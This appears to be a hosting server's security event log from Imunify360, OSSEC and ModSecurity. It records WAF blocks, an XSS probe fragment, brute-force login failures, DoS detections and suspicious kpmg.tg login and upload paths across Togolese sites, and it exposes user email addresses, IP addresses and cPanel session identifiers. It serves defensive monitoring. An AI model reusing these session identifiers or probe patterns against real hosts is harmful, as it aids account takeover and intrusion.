country_id: 6252001
description:
44.249.131.150 - - [02/Jul/2026:02:41:19 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10261864&pdata=https%253A%252F%252Fkpmg.tg%252Ff3fcede3ceb48531317d565cce982d2b%252F956caa81b3c8ac8e2112f34b9feb7a31%252Fcadfa3ecfb3cf582999aab5e7605639c%252F8571a2ceb35e65b3d65c55dd83391103%252Fffb26351ca0884cdba0fbb3b179a3b22%252Findex.php%253Fcmd%253Dlogin%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782960077 HTTP/2.0" 302 0 kpmg.tg "https://kpmg.tg/f3fcede3ceb48531317d565cce982d2b/956caa81b3c8ac8e2112f34b9feb7a31/cadfa3ecfb3cf582999aab5e7605639c/8571a2ceb35e65b3d65c55dd83391103/ffb26351ca0884cdba0fbb3b179a3b22/index.php?cmd=login/" "Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.3 Mobile/15E148 Safari/604.1" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:44.249.131.150


plugin: ossec
rule: 2501
name: User authentication failure.
description:
127.0.0.1 - rahim.nadaabi@tchambainvest.tg [07/02/2026:02:43:55 -0000] "PROPFIND" FAILED LOGIN cpdavd: Authentication failed for user: rahim.nadaabi@tchambainvest.tg


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 196.168.104.92
country_id: 2363686
description:
[2026-07-02 02:43:40 +0000] info [cpaneld] 196.168.104.92 NEW waywcbyw:5Vtq1lYzJ91Uua8k address=196.168.104.92,app=cpaneld,creator=waywcbyw,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 209.50.182.81
country_id: 2921044
domain: inh.free.netmaster.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/inh.free.netmaster.tg/ HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 116.109.115.151
country_id: 1562822
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/traitements-de-masse-des-medicaments-utiles-au-coeur-de-loffensive-sanitaire/ HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 116.109.115.151
country_id: 1562822
domain: togodailynews.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tghttp/togodailynews.tg/traitements-de-masse-des-medicaments-utiles-au-coeur-de-loffensive-sanitaire/ HTTP/1.1||RSV:8.22||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 94.16.17.140
country_id: 2921044
description:
Jul  2 02:49:01 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 94.16.17.140 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.16.17.140
country_id: 2921044
description:
2026-07-02 02:49:03 dovecot_login authenticator failed for H=(ip-142-54-232-1.hosts.zerolag.com) [94.16.17.140]:32902: 535 Incorrect authentication data (set_id=nawoki@otr.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.195.232.178
country_id: 2635167
description:
[2026-07-02 02:49:06 +0000] info [cpaneld] 185.195.232.178 - stephane "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user stephane (has_cpuser_file failed)


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 43.154.181.211
country_id: 1819730
domain: direct7.tg
description:
IM360 WAF: Possible XSS in arguments||MV:https://direct7.tg/la-20eme-foire-internationale-de-lome-est-ouverte/<script async src=||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 211.159.172.186
country_id: 1814991
domain: direct7.tg
description:
IM360 WAF: Possible XSS in arguments||MV:https://direct7.tg/lambassadeur-de-france-au-togo-denonce-des-fausses-informations-sur-la-france/<script async src=||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77987062
name: IM360 WAF: GET add-to-cart flood pattern
abuser: 43.173.181.83
country_id: 1880251
domain: soena.tg
description:
IM360 WAF: GET add-to-cart flood pattern||URI:/product-category/bouffe/pizzavi/pizza-pizzavi/?add-to-cart=2027||QS:add-to-cart=2027||RSV:8.22||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.108.231.75
country_id: 2077456
description:
[2026-07-02 02:53:23 +0000] info [cpaneld] 103.108.231.75 - yvwaocrr "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user yvwaocrr (has_cpuser_file failed)


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 103.84.91.71
country_id: 1819730
description:
[2026-07-02 02:55:12 +0000] info [cpaneld] 103.84.91.71 NEW wcnyaruu:g1UdSARQlXDFmasn address=103.84.91.71,app=cpaneld,creator=wcnyaruu,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.39.15.203
country_id: 3469034
description:
Jul  2 03:01:14 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.39.15.203 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.238.106.166
country_id: 3865483
description:
Jul  2 03:01:38 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.238.106.166 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.94.32.74
country_id: 2017370
description:
[2026-07-02 03:01:38 +0000] info [cpaneld] 185.94.32.74 - waywcbyw "GET /execute/DomainInfo/domains_data HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.177.172.182
country_id: 3923057
domain: togodailynews.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tghttp/togodailynews.tg/togo-28-milliards-pour-soutenir-les-tpme-agro-industrielles/ HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.177.172.182
country_id: 3923057
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/togo-28-milliards-pour-soutenir-les-tpme-agro-industrielles/ HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.188.161.30
country_id: 3923057
domain: togodailynews.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tghttp/togodailynews.tg/scolarisation-la-petite-fille-tres-encouragee-au-togo/ HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.172.220.2
country_id: 3865483
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/scolarisation-la-petite-fille-tres-encouragee-au-togo/ HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 62.197.45.116
country_id: 2750405
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:03-09.62.197.45.116||RSV:8.22||T:APACHE||


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 3.239.155.94
country_id: 6252001
description:
Denial of Service (DoS) attack was discovered from 3.239.155.94: 80 connections per 30 seconds to 53 port.


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 82.156.124.74
country_id: 1814991
description:
82.156.124.74 - - [02/Jul/2026:03:13:13 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6788041&pdata=https%253A%252F%252Fhaplucia-togo.tg%252F2026%252F03%252F02%252Funiversite-de-kara-lispau-ouvre-le-cycle-de-conferences-du-pretest-sur-lethique-et-la-lutte-contre-la-corruption%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782961991 HTTP/2.0" 302 0 haplucia-togo.tg "https://haplucia-togo.tg/2026/03/02/universite-de-kara-lispau-ouvre-le-cycle-de-conferences-du-pretest-sur-lethique-et-la-lutte-contre-la-corruption/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:82.156.124.74


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 62.93.167.184
country_id: 6251999
description:
[2026-07-02 03:16:19 +0000] info [cpaneld] 62.93.167.184 - primuscourtiertg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user primuscourtiertg (has_cpuser_file failed)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 169.224.95.112
country_id: 99237
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/?feed=rss2&tag=27 HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 203.162.82.57
country_id: 1562822
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/?p=2211 HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.3.51.143
country_id: 6252001
domain: fbafrica.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/fbafrica.com/wp-json/gravitysmtp/v1/tests/mock-data?page=gravitysmtp-settings HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 122.161.53.242
country_id: 1269750
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/?tag=inspection HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 37.53.208.223
country_id: 690791
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/?cat=46 HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.127.222.64
country_id: 1210997
domain: ca-togo.org
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ca-togo.org/actualite/detail/troisieme-edition-de-la-journee-du-cat HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.99.152.55
country_id: 3686110
domain: togodailynews.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tghttp/togodailynews.tg/togo-les-sinistres-des-inondations-dans-les-lacs-assistes/ HTTP/1.1||RSV:8.22||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 54.71.187.124
country_id: 6252001
description:
54.71.187.124 - - [02/Jul/2026:03:22:06 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6999151&pdata=http%253A%252F%252Fsthandling-aero.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782962525 HTTP/1.1" 302 0 sthandling-aero.tg "http://sthandling-aero.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:54.71.187.124


plugin: modsec
rule: 77350582
name: IM360 WAF: Bytedancewebview detected
abuser: 140.179.18.91
country_id: 1814991
domain: cafe.tg
description:
IM360 WAF: Bytedancewebview detected||UA:Mozilla/5.0 (Linux; Android 10; HD1900 Build/QKQ1.190716.003; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/75.0.3770.156 Mobile Safari/537.36  aweme_230400 JsSdk/1.0 NetType/WIFI  AppName/aweme app_version/23.4.0 ByteLocale/zh-CN Region/CN AppSkin/white AppTheme/light BytedanceWebview/d8a21c6 WebView/075113004008||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 189.28.66.78
country_id: 3923057
domain: ca-togo.org
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ca-togo.org/actualite/detail/40e-assemblee-generale-de-la-carte-brune-a-lome HTTP/1.1||RSV:8.22||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 44.249.131.150
country_id: 6252001
description:
44.249.131.150 - - [02/Jul/2026:03:29:21 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9859741&pdata=https%253A%252F%252Fkpmg.tg%252Ff3fcede3ceb48531317d565cce982d2b&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782962960 HTTP/2.0" 302 0 kpmg.tg "https://kpmg.tg/f3fcede3ceb48531317d565cce982d2b" "Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.3 Mobile/15E148 Safari/604.1" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:44.249.131.150


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 43.172.195.21
country_id: 1880251
description:
43.172.195.21 - - [02/Jul/2026:03:30:48 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7248740&pdata=https%253A%252F%252Fvitrinenews.tg%252F%253Fp%253D7348&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782963045 HTTP/1.1" 404 561 vitrinenews.tg "https://vitrinenews.tg/?p=7348" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.172.195.21


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 193.19.207.245
country_id: 2510769
description:
[2026-07-02 03:35:53 +0000] info [cpaneld] 193.19.207.245 - dev03 "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dev03 (has_cpuser_file failed)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.191.64.217
country_id: 1562822
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/la-shafdb-devoile-le-programme-de-garantie-de-credit-pour-le-logement-abordable-au-nigeria/ HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.191.64.217
country_id: 1562822
domain: togodailynews.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tghttp/togodailynews.tg/la-shafdb-devoile-le-programme-de-garantie-de-credit-pour-le-logement-abordable-au-nigeria/ HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.245.232.185
country_id: 3996063
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/zlecaf-le-cnp-togo-presente-les-opportunites-aux-femmes/ HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.245.232.185
country_id: 3996063
domain: togodailynews.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tghttp/togodailynews.tg/zlecaf-le-cnp-togo-presente-les-opportunites-aux-femmes/ HTTP/1.1||RSV:8.22||T:APACHE||


plugin: ossec
rule: 2501
name: User authentication failure.
description:
127.0.0.1 - mouniouyi@istm.tg [07/02/2026:03:42:11 -0000] "PROPFIND" FAILED LOGIN cpdavd: Authentication failed for user: mouniouyi@istm.tg


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.153.34.236
country_id: 2750405
description:
2026-07-02 03:42:06 dovecot_plain authenticator failed for H=([45.153.34.236]) [45.153.34.236]:49902: 535 Incorrect authentication data (set_id=scan@togosem.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.153.34.236
country_id: 2750405
description:
Jul  2 03:42:10 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.153.34.236 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-07-02 03:43:28 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:58978: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.122.147.229
country_id: 6252001
description:
34.122.147.229 - - [02/Jul/2026:03:44:17 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10064538&pdata=http%253A%252F%252Fruralinfos.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782963853 HTTP/1.1" 302 0 ruralinfos.tg "http://ruralinfos.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.122.147.229


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.53.10.61
country_id: 3469034
description:
Jul  2 03:44:50 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.53.10.61 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 66.116.242.211
country_id: 1269750
description:
[2026-07-02 03:44:09 +0000] info [cpaneld] 66.116.242.211 - cafe "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cafe (has_cpuser_file failed)


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 185.117.225.253
country_id: 6252001
domain: hofbraeu.snb.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/123.0.6312.86 Safari/537.36||RSV:8.22||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.53.10.61
country_id: 3469034
description:
Jul  2 03:45:05 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.53.10.61 has been locked due to Imunify RBL


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 192.53.123.118
country_id: 6251999
description:
Denial of Service (DoS) attack was discovered from 192.53.123.118: 80 connections per 30 seconds to 443 port.


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 173.249.253.208
country_id: 6252001
description:
[2026-07-02 03:48:30 +0000] info [whostmgrd] 173.249.253.208 - koolnetfree "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 39.100.91.113
country_id: 1814991
description:
Jul  2 03:50:23 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 39.100.91.113 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 173.249.253.208
country_id: 6252001
description:
[2026-07-02 03:50:04 +0000] info [cpaneld] 173.249.253.208 - afxvhoxo "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user afxvhoxo (has_cpuser_file failed)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 195.63.31.193
country_id: 2921044
domain: admin.appflutter.free.netmaster.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/admin.appflutter.free.netmaster.tg/wp-json/gravitysmtp/v1/tests/mock-data?page=gravitysmtp-settings HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 182.189.48.225
country_id: 1168579
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/tag/gala-des-top-100/ HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 182.189.48.225
country_id: 1168579
domain: togodailynews.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tghttp/togodailynews.tg/tag/gala-des-top-100/ HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 185.97.59.224
country_id: 1522867
domain: togodailynews.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tghttp/togodailynews.tg/togo-la-revolution-digitale-au-service-de-la-proximite/ HTTP/1.1||RSV:8.22||T:APACHE||


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 95.217.255.88
country_id: 660013
description:
Denial of Service (DoS) attack was discovered from 95.217.255.88: 80 connections per 30 seconds to 53 port.


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 185.97.59.224
country_id: 1522867
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/togo-la-revolution-digitale-au-service-de-la-proximite/ HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 191.104.203.128
country_id: 3686110
domain: tdn.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/tdn.tg/tag/habillement-indecent/ HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 191.104.203.128
country_id: 3686110
domain: tdn.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/tdn.tghttp/tdn.tg/tag/habillement-indecent/ HTTP/1.1||RSV:8.22||T:APACHE||


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 43.173.178.59
country_id: 1880251
description:
43.173.178.59 - - [02/Jul/2026:04:00:20 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6713749&pdata=https%253A%252F%252Fdirect7.tg%252Ftag%252Fvote-par-anticipation%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782964815 HTTP/1.1" 404 561 direct7.tg "https://direct7.tg/tag/vote-par-anticipation/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.173.178.59


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 124.47.189.9
country_id: 2077456
description:
Denial of Service (DoS) attack was discovered from 124.47.189.9: 80 connections per 30 seconds to 53 port.


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 103.96.22.8
country_id: 2077456
description:
Denial of Service (DoS) attack was discovered from 103.96.22.8: 80 connections per 30 seconds to 53 port.


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 103.96.23.8
country_id: 2077456
description:
Denial of Service (DoS) attack was discovered from 103.96.23.8: 80 connections per 30 seconds to 53 port.


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 103.13.69.9
country_id: 2077456
description:
Denial of Service (DoS) attack was discovered from 103.13.69.9: 80 connections per 30 seconds to 53 port.


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 44.249.131.150
country_id: 6252001
description:
44.249.131.150 - - [02/Jul/2026:04:01:54 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6592665&pdata=https%253A%252F%252Fkpmg.tg%252Ff3fcede3ceb48531317d565cce982d2b%252Facf2d8c858075b0500387330fbe3e107%252Findex.php%253Fcmd%253Dlogin&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782964913 HTTP/2.0" 302 0 kpmg.tg "https://kpmg.tg/f3fcede3ceb48531317d565cce982d2b/acf2d8c858075b0500387330fbe3e107/index.php?cmd=login" "Mozilla/5.0 (Linux; Android 8.0.0; SM-G965U Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.7871.46 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:44.249.131.150


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.214.150.179
country_id: 6252001
description:
[2026-07-02 04:01:39 +0000] info [whostmgrd] 181.214.150.179 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 44.249.131.150
country_id: 6252001
description:
44.249.131.150 - - [02/Jul/2026:04:02:47 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9804650&pdata=https%253A%252F%252Fkpmg.tg%252Ff3fcede3ceb48531317d565cce982d2b%252F13a447ed65d690ed23c934c6df66d559%252F1ebdd00fdb533834c78be9741206b02b%252Findex.php%253Fcmd%253Dnewupld%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782964965 HTTP/2.0" 302 0 kpmg.tg "https://kpmg.tg/f3fcede3ceb48531317d565cce982d2b/13a447ed65d690ed23c934c6df66d559/1ebdd00fdb533834c78be9741206b02b/index.php?cmd=newupld/" "Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.3 Mobile/15E148 Safari/604.1" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:44.249.131.150


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.137.165
country_id: 3469034
description:
Jul  2 04:03:54 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.137.165 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 149.22.81.216
country_id: 6251999
description:
[2026-07-02 04:03:17 +0000] info [whostmgrd] 149.22.81.216 - stephanetg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.137.165
country_id: 3469034
description:
Jul  2 04:04:02 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.137.165 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.57
country_id: 6252001
description:
205.169.39.57 - - [02/Jul/2026:04:05:17 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13266072&pdata=https%253A%252F%252Fruralinfos.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782965115 HTTP/2.0" 302 0 ruralinfos.tg "https://ruralinfos.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.57


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 115.63.123.241
country_id: 1814991
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2022/03/5e0b0f600791a4d84bb93e33ba22fb11_L.jpg HTTP/1.1||RSV:8.22||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.113.114.61
country_id: 3658394
description:
[2026-07-02 04:08:24 +0000] info [cpaneld] 181.113.114.61 - mesyscom "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesyscom (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
